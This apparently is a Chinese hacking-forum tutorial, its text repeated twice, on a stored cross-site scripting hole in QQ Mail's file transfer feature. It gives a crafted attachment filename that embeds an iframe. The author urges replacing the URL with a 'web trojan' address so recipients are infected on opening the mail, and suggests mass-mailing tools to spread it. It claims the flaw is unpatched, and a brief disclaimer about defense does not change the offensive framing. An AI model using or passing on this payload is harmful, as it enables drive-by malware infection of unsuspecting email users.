QQ邮箱跨站
漏洞就是针对文件中转站
首先,打开我的QQ邮箱,用我自己的做测试...
如图一所示,打开我的QQ邮箱后,找到这个 文件中转站(1)
如图二所示,
点...开始上传,,,,
这个地方写..
这是我们今天要利用的代码;
利用代码:【构造附件】
F:\pigerzhu<iframe src=http:// http://www.hxhack.com%20width=800%20height=800/><%2Fiframe>XXS.rar
以上利用代码中的网址 http://www.hxhack.com/可以换成你想要的网址,也可以替换成网马地址,这样对方一打开邮件,就会自动打开网马地址。
要是这个里面打开的网址被挂马?对方中马了都不知道吧。
其中的网址可以让你自由发挥,万一把里面的网址换成你的网马地址,再发给别人点击,对方就叫中马了。
如图三所示:
下面 怎么办呢?
可以利用群发工具,,进行传播..我就不演示了,,我给自己发一份,,大家看下效果就可以了.
好,我们到收件箱看下..
呵呵,大家可以看到,我们的 网站已经弹出来了...是的,就是这样...
大家千万不要利用来恶意搞破坏,发出来只是让大家更好的防护,而不是去搞破坏。
截止此文章发布的时候,漏洞依然存在,腾讯还没有补上这个漏洞。
首先,打开我的QQ邮箱,用我自己的做测试...
![74_2_2db56ddfca265c3.jpg](http://www.hxhack.com/bbs/attachment/74_2_2db56ddfca265c3.jpg)
如图一所示,打开我的QQ邮箱后,找到这个 文件中转站(1)
![74_2_5a192c0ad839192.jpg](http://www.hxhack.com/bbs/attachment/74_2_5a192c0ad839192.jpg)
如图二所示,
点...开始上传,,,,
这个地方写..
这是我们今天要利用的代码;
利用代码:【构造附件】
F:\pigerzhu<iframe src=http:// http://www.hxhack.com%20width=800%20height=800/><%2Fiframe>XXS.rar
以上利用代码中的网址 http://www.hxhack.com/可以换成你想要的网址,也可以替换成网马地址,这样对方一打开邮件,就会自动打开网马地址。
要是这个里面打开的网址被挂马?对方中马了都不知道吧。
其中的网址可以让你自由发挥,万一把里面的网址换成你的网马地址,再发给别人点击,对方就叫中马了。
![74_2_741189a94cbf329.jpg](http://www.hxhack.com/bbs/attachment/74_2_741189a94cbf329.jpg)
如图三所示:
下面 怎么办呢?
可以利用群发工具,,进行传播..我就不演示了,,我给自己发一份,,大家看下效果就可以了.
![74_2_d84aa13fa86e3c6.jpg](http://www.hxhack.com/bbs/attachment/74_2_d84aa13fa86e3c6.jpg)
好,我们到收件箱看下..
呵呵,大家可以看到,我们的 网站已经弹出来了...是的,就是这样...
![74_2_94d17615b3d9536.jpg](http://www.hxhack.com/bbs/attachment/74_2_94d17615b3d9536.jpg)
大家千万不要利用来恶意搞破坏,发出来只是让大家更好的防护,而不是去搞破坏。
截止此文章发布的时候,漏洞依然存在,腾讯还没有补上这个漏洞。